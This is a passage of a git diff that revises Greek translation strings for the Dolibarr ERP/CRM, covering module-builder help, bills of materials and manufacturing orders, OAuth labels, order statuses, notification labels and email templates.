να είναι άδειο -WidgetDesc=Μπορείτε να δημιουργήσετε και να επεξεργαστείτε εδώ τα γραφικά στοιχεία(widgets) που θα ενσωματωθούν με τη μονάδα σας. +WidgetDesc=Μπορείτε να δημιουργήσετε και να επεξεργαστείτε εδώ τα γραφικά στοιχεία(widgets) που θα ενσωματωθούν με τη ενότητα σας. CSSDesc=Μπορείτε να δημιουργήσετε και να επεξεργαστείτε εδώ ένα αρχείο με εξατομικευμένο CSS ενσωματωμένο στην ενότητα σας. JSDesc=Μπορείτε να δημιουργήσετε και να επεξεργαστείτε εδώ ένα αρχείο με Javascript ενσωματωμένο με την ενότητα σας. CLIDesc=Μπορείτε να δημιουργήσετε εδώ ορισμένα scripts γραμμής εντολών που θέλετε να παρέχετε με την ενότητα σας. @@ -130,27 +136,40 @@ UseSpecificEditorURL = Χρησιμοποιήστε μια συγκεκριμέ UseSpecificFamily = Χρησιμοποιήστε μια συγκεκριμένη κατηγορία UseSpecificAuthor = Χρησιμοποιήστε έναν συγκεκριμένο συντάκτη UseSpecificVersion = Χρησιμοποιήστε μια συγκεκριμένη αρχική έκδοση -IncludeRefGeneration=Η αναφορά του αντικειμένου πρέπει να δημιουργείται αυτόματα από προσαρμοσμένους κανόνες αρίθμησης +IncludeRefGeneration=Η αναφορά αυτού του αντικειμένου πρέπει να δημιουργείται αυτόματα από προσαρμοσμένους κανόνες αρίθμησης IncludeRefGenerationHelp=Επιλέξτε αυτό εάν θέλετε να συμπεριλάβετε κώδικα για τη διαχείριση της αυτόματης δημιουργίας αναφοράς χρησιμοποιώντας προσαρμοσμένους κανόνες αρίθμησης -IncludeDocGeneration=Θέλω να δημιουργήσω ορισμένα έγγραφα από πρότυπα για το αντικείμενο +IncludeDocGeneration=Θέλω την δυνατότητα να δημιουργεί ορισμένα έγγραφα (PDF, ODT) από πρότυπα για αυτό το αντικείμενο IncludeDocGenerationHelp=Εάν το επιλέξετε, θα δημιουργηθεί κάποιος κώδικας για να προσθέσετε ένα πλαίσιο "Δημιουργία εγγράφου" στην εγγραφή. -ShowOnCombobox=Εμφάνιση τιμής στο combobox +ShowOnCombobox=Εμφάνιση τιμής σε σύνθετα πλαίσια KeyForTooltip=Κλειδί αναδυόμενου πλαισίου επεξήγησης(tooltip) CSSClass=CSS για επεξεργασία/δημιουργία φόρμας CSSViewClass=CSS για φόρμα ανάγνωσης CSSListClass=CSS για λίστα NotEditable=Μη επεξεργάσιμο ForeignKey=Ξένο κλειδί -TypeOfFieldsHelp=Τύπος πεδίων:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' σημαίνει ότι προσθέτουμε ένα κουμπί + μετά τον συνδυασμό για να δημιουργήσουμε την εγγραφή
      'φίλτρο' είναι μια συνθήκη sql, για παράδειγμα:'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Εάν η τιμή αυτού του πεδίου πρέπει οπωσδήποτε να υπάρχει σε ένα άλλον πίνακα. Εισαγάγετε εδώ μια σύνταξη που αντιστοιχεί στην τιμή: tablename.parentfieldtocheck +TypeOfFieldsHelp=Παράδειγμα:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1'' σημαίνει ότι προσθέτουμε ένα κουμπί + μετά το σύνθετο πλαίσιο για να δημιουργήσουμε την εγγραφή
      'filter' is a sql condition, παράδειγμα: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Αυτός είναι ο τύπος του πεδίου/χαρακτηριστικού. AsciiToHtmlConverter=Μεταροπέας από Ascii σε HTML AsciiToPdfConverter=Μεταροπέας από Ascii σε PDF TableNotEmptyDropCanceled=Ο πίνακας δεν είναι άδειος. Η διαγραφή ακυρώθηκε. ModuleBuilderNotAllowed=Το εργαλείο δημιουργίας ενοτήτων(module builder) είναι διαθέσιμο αλλά δεν επιτρέπεται στον χρήστη σας. ImportExportProfiles=Προφίλ εισαγωγής και εξαγωγής -ValidateModBuilderDesc=Ορίστε το σε 1 εάν θέλετε να καλείται η μέθοδος $this->validateField() του αντικειμένου για την επικύρωση του περιεχομένου του πεδίου κατά την εισαγωγή ή την ενημέρωση. Ορίστε σε 0 εάν δεν απαιτείται επικύρωση. +ValidateModBuilderDesc=Ορίστε το σε 1 εάν θέλετε να καλείται η μέθοδος του αντικειμένου $this->validateField() για την επικύρωση του περιεχομένου του πεδίου κατά την εισαγωγή ή την ενημέρωση. Ορίστε σε 0 εάν δεν απαιτείται επικύρωση. WarningDatabaseIsNotUpdated=Προειδοποίηση: Η βάση δεδομένων δεν ενημερώνεται αυτόματα, πρέπει να διαγράψετε τους πίνακες και να απενεργοποιήσετε-ενεργοποιήσετε την ενότητα για την αναδημιουργία πινάκων LinkToParentMenu=Γονικό μενού (fk_xxxxmenu) ListOfTabsEntries=Λίστα καταχωρήσεων καρτελών TabsDefDesc=Ορίστε εδώ τις καρτέλες που παρέχονται από την ενότητα σας TabsDefDescTooltip=Οι καρτέλες που παρέχονται από την ενότητα/εφαρμογή σας ορίζονται στον πίνακα $this->tabs στο αρχείο περιγραφής της ενότητας. Μπορείτε να επεξεργαστείτε μη αυτόματα αυτό το αρχείο ή να χρησιμοποιήσετε τον ενσωματωμένο επεξεργαστή. BadValueForType=Λάθος τιμή για τον τύπο %s +DefinePropertiesFromExistingTable=Ορίστε ιδιότητες από έναν υπάρχοντα πίνακα +DefinePropertiesFromExistingTableDesc=Εάν υπάρχει ήδη ένας πίνακας στη βάση δεδομένων (για τη δημιουργία του αντικειμένου), μπορείτε να τον χρησιμοποιήσετε για να ορίσετε τις ιδιότητες του αντικειμένου. +DefinePropertiesFromExistingTableDesc2=Διατηρήστε το κενό εάν ο πίνακας δεν υπάρχει ακόμα. Ο code generator θα χρησιμοποιήσει διαφορετικά είδη πεδίων για να δημιουργήσει ένα παράδειγμα πίνακα που μπορείτε να επεξεργαστείτε αργότερα. +GeneratePermissions=Θέλω να προσθέσω δικαιώματα για αυτό το αντικείμενο +GeneratePermissionsHelp=δημιουργία προεπιλεγμένων δικαιωμάτων για αυτό το αντικείμενο +PermissionDeletedSuccesfuly=Η άδεια καταργήθηκε με επιτυχία +PermissionUpdatedSuccesfuly=Η άδεια ενημερώθηκε με επιτυχία +PermissionAddedSuccesfuly=Η άδεια προστέθηκε με επιτυχία +MenuDeletedSuccessfuly=Το μενού διαγράφηκε επιτυχώς +MenuAddedSuccessfuly=Το μενού προστέθηκε με επιτυχία +MenuUpdatedSuccessfuly=Το μενού ενημερώθηκε με επιτυχία diff --git a/htdocs/langs/el_GR/mrp.lang b/htdocs/langs/el_GR/mrp.lang index ef1ec64f668..0359b01be9c 100644 --- a/htdocs/langs/el_GR/mrp.lang +++ b/htdocs/langs/el_GR/mrp.lang @@ -11,8 +11,8 @@ Bom=Κατάλογοι Υλικών BillOfMaterials=Κατάλογος Υλικών BillOfMaterialsLines=Γραμμές Κατάλογου Υλικών BOMsSetup=Ρύθμιση της ενότητας BOM -ListOfBOMs=Λίστα Καταλογών Υλικών - BOM -ListOfManufacturingOrders=Κατάλογος Εντολών Παραγωγής +ListOfBOMs=Κατάλογοι Υλικών - BOM +ListOfManufacturingOrders=Εντολές Παραγωγής NewBOM=Νέος κατάλογος υλικών ProductBOMHelp=Προϊόν για δημιουργία (ή αποσυναρμολόγηση) με αυτό το BOM.
      Σημείωση: Τα προϊόντα με την ιδιότητα «Φύση προϊόντος» = «Πρώτη ύλη» δεν είναι ορατά σε αυτήν τη λίστα. BOMsNumberingModules=Πρότυπα αρίθμησης BOM @@ -24,10 +24,11 @@ WatermarkOnDraftBOMs=Υδατογράφημα σε προσχέδιο BOM FreeLegalTextOnMOs=Ελεύθερο κείμενο σε έγγραφο της MO WatermarkOnDraftMOs=Υδατογράφημα σε προσχέδιο της ΜΟ ConfirmCloneBillOfMaterials=Είστε σίγουροι ότι θέλετε να κλωνοποιήσετε τον κατάλογο υλικών %s; -ConfirmCloneMo=Είστε βέβαιοι ότι θέλετε να κλωνοποιήσετε την Εντολή Παραγωγής %s; +ConfirmCloneMo=Είστε σίγουροι ότι θέλετε να αντιγράψετε την Εντολή Παραγωγής %s; ManufacturingEfficiency=Αποτελεσματικότητα παραγωγής ConsumptionEfficiency=Αποτελεσματικότητα κατανάλωσης -ValueOfMeansLoss=Η τιμή 0,95 σημαίνει μέση απώλεια 5%% κατά την κατασκευή ή την αποσυναρμολόγηση +Consumption=Κατανάλωση +ValueOfMeansLoss=Η τιμή 0,95 σημαίνει μέση απώλεια 5%% κατά την παραγωγής ή την αποσυναρμολόγηση ValueOfMeansLossForProductProduced=Η τιμή 0,95 σημαίνει μέση απώλεια 5%% του παραγόμενου προϊόντος DeleteBillOfMaterials=Διαγραφή κατάλογου υλικών DeleteMo=Διαγραφή Εντολής Παραγωγής @@ -43,7 +44,7 @@ EstimatedDuration=Εκτιμώμενη Διάρκεια EstimatedDurationDesc=Εκτιμώμενη διάρκεια για την κατασκευή (ή την αποσυναρμολόγηση) αυτού του προϊόντος χρησιμοποιώντας αυτό το BOM ConfirmValidateBom=Είστε σίγουροι ότι θέλετε να επικυρώσετε το BOM με την αναφορά %s ;(θα μπορείτε να το χρησιμοποιήσετε για να δημιουργήσετε νέες Εντολές Παραγωγής) ConfirmCloseBom=Είστε σίγουροι ότι θέλετε να ακυρώσετε αυτό το BOM; (δεν θα μπορείτε πλέον να το χρησιμοποιήσετε για να δημιουργήσετε νέες Εντολές Παραγωγής) -ConfirmReopenBom=Είστε βέβαιοι ότι θέλετε να ανοίξετε ξανά αυτό το BOM; (θα μπορείτε να το χρησιμοποιήσετε για να δημιουργήσετε νέες Εντολές Παραγωγής) +ConfirmReopenBom=Είστε σίγουροι ότι θέλετε να ανοίξετε ξανά αυτό το BOM; (θα μπορείτε να το χρησιμοποιήσετε για να δημιουργήσετε νέες Εντολές Παραγωγής) StatusMOProduced=Παράχθηκε QtyFrozen=Κατεψυγμένη ποσότητα QuantityFrozen=Κατεψυγμένη ποσότητα @@ -59,7 +60,7 @@ ToProduce=Προς παραγωγή ToObtain=Προς απόκτηση QtyAlreadyConsumed=Η ποσότητα καταναλώθηκε ήδη QtyAlreadyProduced=Η ποσότητα έχει ήδη παραχθεί -QtyRequiredIfNoLoss=Ποσότητα που απαιτείται εάν δεν υπάρχει απώλεια (η απόδοση κατασκευής είναι 100%%) +QtyRequiredIfNoLoss=Ποσότητα που απαιτείται εάν δεν υπάρχει απώλεια (η απόδοση παραγωγής είναι 100%%) ConsumeOrProduce=Καταναλώστε ή Παράγετε ConsumeAndProduceAll=Καταναλώστε και παράξτε τα όλα Manufactured=Κατασκευάστηκε @@ -82,6 +83,7 @@ ProductsToProduce=Προϊόντα για παραγωγή UnitCost=Κόστος μονάδας TotalCost=Συνολικό κόστος BOMTotalCost=Το κόστος για την παραγωγή αυτού του BOM με βάση το κόστος κάθε ποσότητας και προϊόντος προς κατανάλωση (χρησιμοποιήστε την τιμή κόστους εάν έχει οριστεί, διαφορετικά τη μέση σταθμισμένη τιμή εάν έχει οριστεί, διαφορετικά την καλύτερη τιμή αγοράς) +BOMTotalCostService=Εάν η ενότητα "Workstation" είναι ενεργοποιημένη και ένας σταθμός εργασίας ορίζεται από προεπιλογή στη γραμμή, τότε ο υπολογισμός είναι "ποσότητα (μετατροπή σε ώρες) x σταθμός εργασίας ahr", διαφορετικά "ποσότητα (μετατροπή σε ώρες) x τιμή κόστους της υπηρεσίας" GoOnTabProductionToProduceFirst=Πρέπει πρώτα να έχετε ξεκινήσει την παραγωγή για να κλείσετε μια Εντολή Παραγωγής (Ανατρέξτε στην καρτέλα '%s'). Αλλά μπορείτε να την ακυρώσετε. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Ένα κιτ δεν μπορεί να χρησιμοποιηθεί σε BOM ή MO Workstation=Σταθμός εργασίας @@ -100,6 +102,7 @@ NbOperatorsRequired=Αριθμός απαιτούμενων χειριστών THMOperatorEstimated=Εκτιμώμενος χειριστής THM THMMachineEstimated=Εκτιμώμενο μηχάνημα THM WorkstationType=Τύπος σταθμού εργασίας +DefaultWorkstation=Προεπιλεγμένος σταθμός εργασίας Human=Άνθρωπος Machine=Μηχανή HumanMachine=Άνθρωπος / Μηχανή @@ -111,4 +114,8 @@ CollapseBOMHelp=Μπορείτε να ορίσετε την προεπιλεγμ MOAndLines=Εντολές και γραμμές παραγωγής MoChildGenerate=Δημιουργία θυγατρικού Mo ParentMo=Γονικό MO -MOChild=MO Παιδί +MOChild=Θυγατρικό MO +BomCantAddChildBom=Η ονοματολογία %s υπάρχει ήδη στο δέντρο που οδηγεί στην ονοματολογία %s +BOMNetNeeds = Καθαρές ανάγκες BOM +BOMProductsList=Προϊόντα BOM +BOMServicesList=Υπηρεσίες BOM diff --git a/htdocs/langs/el_GR/oauth.lang b/htdocs/langs/el_GR/oauth.lang index 885656a347e..d71231a6d60 100644 --- a/htdocs/langs/el_GR/oauth.lang +++ b/htdocs/langs/el_GR/oauth.lang @@ -9,6 +9,7 @@ HasAccessToken=Ένα token πρόσβασης δημιουργήθηκε και NewTokenStored=Το token αποθηκεύτηκε ToCheckDeleteTokenOnProvider=Πατήστε εδώ για να ελέγξετε/διαγράψετε την εξουσιοδότηση που έχει αποθηκευτεί από %s πάροχο ανοιχτού πρωτοκόλλου εξουσιοδότησης OAuth TokenDeleted=Το token διαγράφηκε +GetAccess=Κάντε κλικ εδώ για να λάβετε ένα token RequestAccess=Κάντε κλικ εδώ για να ζητήσετε/ανανεώσετε την πρόσβαση και να λάβετε ένα νέο token DeleteAccess=Κάντε κλικ εδώ για να διαγράψετε το token UseTheFollowingUrlAsRedirectURI=Χρησιμοποιήστε την ακόλουθη διεύθυνση URL ως URI ανακατεύθυνσης κατά τη δημιουργία των διαπιστευτηρίων σας με τον παροχέα υπηρεσιών OAuth: @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=GitHub OAuth Secret OAUTH_URL_FOR_CREDENTIAL=Μεταβείτε σε αυτή τη σελίδα για να δημιουργήσετε ή να λάβετε το αναγνωριστικό και το Secret OAuth OAUTH_STRIPE_TEST_NAME=Δοκιμή OAuth Stripe OAUTH_STRIPE_LIVE_NAME=OAuth Stripe -OAUTH_ID=Αναγνωριστικό OAuth +OAUTH_ID=OAuth Client ID OAUTH_SECRET=Secret OAuth +OAUTH_TENANT=OAuth tenant OAuthProviderAdded=Προστέθηκε πάροχος OAuth AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Υπάρχει ήδη μια καταχώριση για αυτόν τον πάροχο και την ετικέτα OAuth  +URLOfServiceForAuthorization=URL που παρέχεται από την υπηρεσία OAuth για έλεγχο ταυτότητας +Scopes=Άδειες (Πεδίο εφαρμογής) +ScopeUndefined=Άδειες (Πεδίο εφαρμογής) ακαθόριστα (δείτε προηγούμενη καρτέλα) diff --git a/htdocs/langs/el_GR/orders.lang b/htdocs/langs/el_GR/orders.lang index ee15f50fb2f..6039f128126 100644 --- a/htdocs/langs/el_GR/orders.lang +++ b/htdocs/langs/el_GR/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Στατιστικά παραγγελίας αγορά NumberOfOrdersByMonth=Αριθμός παραγγελιών ανά μήνα AmountOfOrdersByMonthHT=Ποσό παραγγελιών ανά μήνα (εκτός φόρου) ListOfOrders=Λίστα παραγγελιών +ListOrderLigne=Γραμμές παραγγελιών +productobuy=Προϊόντα για αγορά μόνο +productonly=Μόνο προϊόντα +disablelinefree=Χωρίς ελεύθερες γραμμές CloseOrder=Κλείσιμο Παραγγελίας ConfirmCloseOrder=Είστε σίγουροι ότι θέλετε να ορίσετε αυτήν την παραγγελία ως παραδομένη; Μόλις παραδοθεί μια παραγγελία, μπορεί να οριστεί ως τιμολογημένη. ConfirmDeleteOrder=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτή την παραγγελία; @@ -106,7 +110,7 @@ ConfirmMakeOrder=Είστε σίγουροι ότι θέλετε να επιβε GenerateBill=Δημιουργία τιμολογίου ClassifyShipped=Ταξινόμηση ως παραδομένη PassedInShippedStatus=Ταξινόμηση ως παραδομένη -YouCantShipThis=Δεν μπορώ να το ταξινομήσω αυτό. Ελέγξτε τα δικαιώματα χρήστη +YouCantShipThis=Δεν ειναι δυνατή η ταξινόμηση. Ελέγξτε τα δικαιώματα χρήστη DraftOrders=Προσχέδια παραγγελιών DraftSuppliersOrders=Προσχέδια παραγγελιών αγοράς OnProcessOrders=Παραγγελίες σε εξέλιξη @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=Η παραγγελία αγοράς %s έχει OtherOrders=Άλλες παραγγελίες SupplierOrderValidatedAndApproved=Η παραγγελία του προμηθευτή έχει επικυρωθεί και εγκριθεί: %s SupplierOrderValidated=Η παραγγελία του προμηθευτή είναι επικυρωμένη: %s +OrderShowDetail=Εμφάνιση λεπτομερειών παραγγελίας ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Εκπρόσωπος εξέλιξης εντολής πώλησης TypeContact_commande_internal_SHIPPING=Εκπρόσωπος εξέλιξης αποστολής @@ -152,8 +157,8 @@ OrderByEMail=Email OrderByWWW=Online OrderByPhone=Τηλέφωνο # Documents models -PDFEinsteinDescription=Ένα πλήρες μοντέλο παραγγελιών (παλιά εφαρμογή του προτύπου Eratosthene) -PDFEratostheneDescription=Ένα πλήρες μοντέλο παραγγελιών +PDFEinsteinDescription=Ένα πλήρες πρότυπο παραγγελιών (παλιά εφαρμογή του προτύπου Eratosthene) +PDFEratostheneDescription=Ένα πλήρες υπόδειγμα παραγγελιών PDFEdisonDescription=Ένα απλό πρότυπο παραγγελιών PDFProformaDescription=Ένα πλήρες πρότυπο προτιμολογίου (Proforma) CreateInvoiceForThisCustomer=Τιμολόγηση παραγγελιών @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=Εγκρίθηκε StatusSupplierOrderRefused=Απορρίφθηκε StatusSupplierOrderReceivedPartially=Εν μέρει παραλήφθηκε StatusSupplierOrderReceivedAll=Όλα τα προϊόντα παραλήφθηκαν +NeedAtLeastOneInvoice = Πρέπει να υπάρχει τουλάχιστον ένα Τιμολόγιο +LineAlreadyDispatched = Η γραμμή παραγγελίας έχει ήδη παραληφθεί. diff --git a/htdocs/langs/el_GR/other.lang b/htdocs/langs/el_GR/other.lang index fe2005d7daa..29fbaf8116c 100644 --- a/htdocs/langs/el_GR/other.lang +++ b/htdocs/langs/el_GR/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Η εντολή αγοράς εγκρίθηκε Notify_ORDER_SUPPLIER_REFUSE=Η εντολή αγοράς απορρίφθηκε Notify_PROPAL_VALIDATE=Η πρόσφορα πελάτη επικυρώθηκε Notify_PROPAL_CLOSE_SIGNED=Η πρόσφορα πελάτη έκλεισε υπογεγραμμένη +Notify_PROPAL_CLOSE_SIGNED_WEB=Η προσφορά πελάτη έκλεισε υπογεγραμμένη στη σελίδα του portal Notify_PROPAL_CLOSE_REFUSED=Η πρόσφορα πελάτη έκλεισε, απορρίφθηκε +Notify_PROPAL_CLOSE_REFUSED_WEB=Η προσφορά πελάτη έκλεισε απορρίφθηκε στη σελίδα του portal Notify_PROPAL_SENTBYMAIL=Η Εμπορική προσφορά απεστάλη ταχυδρομικώς Notify_WITHDRAW_TRANSMIT=Μετάδοση ανάληψης Notify_WITHDRAW_CREDIT=Πίστωση ανάληψης @@ -82,7 +84,7 @@ Notify_EXPENSE_REPORT_APPROVE=Η αναφορά εξόδων εγκρίθηκε Notify_HOLIDAY_VALIDATE=Το αίτημα άδειας επικυρώθηκε (απαιτείται έγκριση) Notify_HOLIDAY_APPROVE=Το αίτημα άδειας εγκρίθηκε Notify_ACTION_CREATE=Προστέθηκε ενέργεια στην Ατζέντα -SeeModuleSetup=Δείτε την ρύθμιση του module %s +SeeModuleSetup=Δείτε τη ρύθμιση της ενότητας %s NbOfAttachedFiles=Αριθμός συνημμένων αρχείων/εγγράφων TotalSizeOfAttachedFiles=Συνολικό μέγεθος συνημμένων αρχείων/εγγράφων MaxSize=Μέγιστο μέγεθος @@ -96,13 +98,13 @@ PredefinedMailContentSendInvoice=__(Hello)__\n\nΠαρακαλώ δείτε το PredefinedMailContentSendInvoiceReminder=__(Hello)__\n\nΘα θέλαμε να σας υπενθυμίσουμε ότι το τιμολόγιο __REF__ φαίνεται να μην έχει πληρωθεί. Ένα αντίγραφο του τιμολογίου επισυνάπτεται ως υπενθύμιση.\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ PredefinedMailContentSendProposal=__(Hello)__\n\nΠαρακαλώ δείτε την προσφορά __REF__ που επισυνάπτεται \n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ PredefinedMailContentSendSupplierProposal=__(Hello)__\n\nΠαρακαλώ δείτε την προσφορά __REF__ που επισυνάπτεται\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendOrder=__ (Γεια σας) __ Βρείτε εντολή __REF__ επισυνάπτεται __ (ειλικρινά) __ __USER_SIGNATURE__ -PredefinedMailContentSendSupplierOrder=__ (Γεια σας) __ Βρείτε την παραγγελία σας __REF__ επισυνάπτεται __ (ειλικρινά) __ __USER_SIGNATURE__ -PredefinedMailContentSendSupplierInvoice=__ (Γεια σας) __ Βρείτε το τιμολόγιο __REF__ επισυνάπτεται __ (ειλικρινά) __ __USER_SIGNATURE__ -PredefinedMailContentSendShipping=__ (Γεια σας) __ Παρακαλούμε βρείτε την αποστολή __REF__ συνημμένο __ (ειλικρινά) __ __USER_SIGNATURE__ -PredefinedMailContentSendFichInter=__ (Γεια σας) __ Βρείτε την παρέμβαση __REF__ επισυνάπτεται __ (ειλικρινά) __ __USER_SIGNATURE__ -PredefinedMailContentLink=Μπορείτε να κάνετε κλικ στον παρακάτω σύνδεσμο για να πραγματοποιήσετε την πληρωμή σας, αν δεν έχει γίνει ήδη. %s -PredefinedMailContentGeneric=__ (Γεια σας) __ __ (ειλικρινά) __ __USER_SIGNATURE__ +PredefinedMailContentSendOrder=__(Hello)__\n\nΠαρακαλώ δείτε την συνημμένη εντολή __REF__\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendSupplierOrder=__(Hello)__\n\nΠαρακαλώ δείτε την συνημμένη παραγγελία μας __REF__ \n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendSupplierInvoice=__(Hello)__\n\nΠαρακαλώ δείτε το συνημμένο τιμολόγιο __REF__\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendShipping=__(Hello)__\n\nΠαρακαλώ δείτε την συνημμένη αποστολή __REF__ \n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendFichInter=__(Hello)__\n\nΠαρακαλώ δείτε την συνημμένη παρέμβαση __REF__ \n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ +PredefinedMailContentLink=Μπορείτε να κάνετε κλικ στον παρακάτω σύνδεσμο για να πραγματοποιήσετε την πληρωμή σας, αν δεν έχει γίνει ήδη. \n\n%s\n\n +PredefinedMailContentGeneric=__(Hello)__\n\n\n__(Sincerely)__\n\n__USER_SIGNATURE__ PredefinedMailContentSendActionComm=Υπενθύμιση συμβάντος "__EVENT_LABEL__" στην __EVENT_DATE__ στις __EVENT_TIME__

      Αυτό είναι ένα αυτόματο μήνυμα, μην απαντήσετε. DemoDesc=Το Dolibarr είναι ένα συμπαγές ERP/CRM που υποστηρίζει πολλές επιχειρηματικές ενότητες. Μια επίδειξη που παρουσιάζει όλες τις ενότητες δεν έχει νόημα, καθώς αυτό το σενάριο δεν συμβαίνει ποτέ (πολλές εκατοντάδες διαθέσιμες). Έτσι, πολλά προφίλ επίδειξης είναι διαθέσιμα. ChooseYourDemoProfil=Επιλέξτε το προφίλ επίδειξης που ταιριάζει καλύτερα στις ανάγκες σας ... @@ -111,8 +113,8 @@ DemoFundation=Διαχείριση μελών ενός ιδρύματος DemoFundation2=Διαχείριση μελών και τραπεζικού λογαριασμού ενός ιδρύματος DemoCompanyServiceOnly=Εταιρική ή ανεξάρτητη υπηρεσία πώλησης μόνο DemoCompanyShopWithCashDesk=Διαχειριστείτε ένα κατάστημα με ταμείο -DemoCompanyProductAndStocks=Κατάστημα πώλησης προϊόντων με σημείο πώλησης -DemoCompanyManufacturing=Εταιρεία κατασκευής προϊόντων +DemoCompanyProductAndStocks=Κατάστημα πώλησης προϊόντων με σημείο πώλησης POS +DemoCompanyManufacturing=Εταιρεία παραγωγής προϊόντων DemoCompanyAll=Εταιρεία με πολλαπλές δραστηριότητες (όλες οι κύριες ενότητες) CreatedBy=Δημιουργήθηκε από %s ModifiedBy=Τροποποιήθηκε από %s @@ -124,8 +126,8 @@ ModifiedById=Αναγνωριστικό χρήστη που έκανε την τ ValidatedById=Ταυτότητα χρήστη που επικύρωσε CanceledById=Ταυτότητα χρήστη που ακύρωσε ClosedById=Ταυτότητα χρήστη που έκλεισε -CreatedByLogin=Χρήστης σύνδεσης που δημιούργησε -ModifiedByLogin=Εγγραφή χρήστη που έκανε την τελευταία αλλαγή +CreatedByLogin=Είσοδος χρήστη που δημιούργησε +ModifiedByLogin=Χρήστης σύνδεσης που έκανε την τελευταία αλλαγή ValidatedByLogin=Χρήστης σύνδεσης που επικύρωσε CanceledByLogin=Χρήστης σύνδεσης που ακύρωσε ClosedByLogin=Χρήστης σύνδεσης που έκλεισε @@ -181,35 +183,39 @@ SizeUnitfoot=πόδι SizeUnitpoint=σημείο BugTracker=Παρακολούθηση σφαλμάτων SendNewPasswordDesc=Αυτή η φόρμα σάς επιτρέπει να ζητήσετε νέο κωδικό πρόσβασης. Θα σταλεί στη διεύθυνση email σας.
      Η αλλαγή θα τεθεί σε ισχύ μόλις κάνετε κλικ στον σύνδεσμο επιβεβαίωσης στο email.
      Ελέγξτε τα εισερχόμενά σας. +EnterNewPasswordHere=Εισάγετε τον νέο σας κωδικό πρόσβασης εδώ BackToLoginPage=Επιστροφή στην σελίδα εισόδου -AuthenticationDoesNotAllowSendNewPassword=Λειτουργία ελέγχου ταυτότητας είναι %s.
      Σε αυτή τη λειτουργία, Dolibarr δεν μπορεί να γνωρίζει ούτε αλλαγή του κωδικού πρόσβασής σας.
      Επικοινωνήστε με το διαχειριστή του συστήματός σας, εάν θέλετε να αλλάξετε τον κωδικό πρόσβασής σας. +AuthenticationDoesNotAllowSendNewPassword=Η λειτουργία ελέγχου ταυτότητας είναι %s .
      Σε αυτήν τη λειτουργία, το Dolibarr δεν μπορεί να γνωρίζει ούτε να αλλάξει τον κωδικό πρόσβασης σας.
      Επικοινωνήστε με τον διαχειριστή του συστήματός σας εάν θέλετε να αλλάξετε τον κωδικό πρόσβασης σας. EnableGDLibraryDesc=Εγκαταστήστε ή ενεργοποιήστε τη βιβλιοθήκη GD στην εγκατάσταση της PHP για να χρησιμοποιήσετε αυτήν την επιλογή. -ProfIdShortDesc=Καθ %s ταυτότητα είναι μια ενημερωτική ανάλογα με τρίτη χώρα μέρος.
      Για παράδειγμα, για %s χώρα, είναι %s κώδικα. +ProfIdShortDesc= Prof Id %s είναι μια πληροφορία ανάλογα με τη χώρα τρίτου μέρους.
      Για παράδειγμα, για τη χώρα %s , είναι ο κωδικός %s. DolibarrDemo=Dolibarr ERP / CRM demo StatsByNumberOfUnits=Στατιστικά στοιχεία για το σύνολο των ποσοτήτων προϊόντων / υπηρεσιών StatsByNumberOfEntities=Στατιστικά στοιχεία για τον αριθμό των παραπομπών οντοτήτων (αριθμός τιμολογίων ή παραγγελιών...) -NumberOfProposals=Αριθμός προτάσεων -NumberOfCustomerOrders=Αριθμός παραγγελιών πωλήσεων +NumberOfProposals=Αριθμός προσφορών +NumberOfCustomerOrders=Αριθμός εντολών πωλήσεων NumberOfCustomerInvoices=Αριθμός τιμολογίων πελατών -NumberOfSupplierProposals=Αριθμός προτάσεων πωλητών -NumberOfSupplierOrders=Αριθμός εντολών αγοράς +NumberOfSupplierProposals=Αριθμός προσφορών προμηθευτών +NumberOfSupplierOrders=Αριθμός παραγγελιών αγοράς NumberOfSupplierInvoices=Αριθμός τιμολογίων προμηθευτή NumberOfContracts=Αριθμός συμβάσεων -NumberOfMos=Αριθμός παραγγελιών κατασκευής -NumberOfUnitsProposals=Αριθμός μονάδων στις προτάσεις +NumberOfMos=Αριθμός παραγγελιών παραγωγής +NumberOfUnitsProposals=Αριθμός μονάδων στις προσφορές NumberOfUnitsCustomerOrders=Αριθμός μονάδων σε παραγγελίες πώλησης NumberOfUnitsCustomerInvoices=Αριθμός μονάδων σε τιμολόγια πελατών -NumberOfUnitsSupplierProposals=Αριθμός μονάδων σε προτάσεις πωλητών -NumberOfUnitsSupplierOrders=Αριθμός μονάδων στις εντολές αγοράς -NumberOfUnitsSupplierInvoices=Αριθμός μονάδων σε τιμολόγια πωλητών +NumberOfUnitsSupplierProposals=Αριθμός μονάδων σε προσφορές προμηθευτών +NumberOfUnitsSupplierOrders=Αριθμός μονάδων στις παραγγελίες αγορών +NumberOfUnitsSupplierInvoices=Αριθμός μονάδων σε τιμολόγια προμηθευτών NumberOfUnitsContracts=Αριθμός μονάδων στις συμβάσεις -NumberOfUnitsMos=Αριθμός μονάδων προς παραγωγή σε παραγγελίες κατασκευής +NumberOfUnitsMos=Αριθμός μονάδων προς παραγωγή σε παραγγελίες παραγωγής EMailTextInterventionAddedContact=Μια νέα παρέμβαση %s σας έχει εκχωρηθεί. 